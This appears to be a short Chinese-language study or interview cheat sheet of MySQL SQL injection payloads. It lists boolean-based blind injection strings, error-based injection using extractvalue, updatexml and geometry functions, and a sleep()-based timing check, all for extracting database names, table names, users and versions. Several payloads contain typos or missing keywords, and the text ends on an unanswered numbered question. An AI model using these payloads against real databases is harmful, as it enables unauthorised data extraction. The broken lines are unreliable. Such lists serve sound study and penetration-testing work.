1、基于布尔SQL盲注
left(database(),1)>‘s’
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+
ascii(substr((select database()),1,1))=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
regexp正则注入 select user() regexp ‘^[a-z]’;
select user() like ‘ro%’
2、基于报错的SQL盲注
1）and extractvalue(1, concat(0x7e,(select @@version),0x7e))】】】
2）通过floor报错 向下取整
3）+and updatexml(1, concat(0x7e,(secect @@version),0x7e),1)
4）.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5）.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6）.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7）.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8）.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9）.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10）.exp()select * from test where id=1 and exp(~(select * from(select user())a));
3、延时注入怎样来判断？
if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)
十四、盲注和延时注入的共同点？
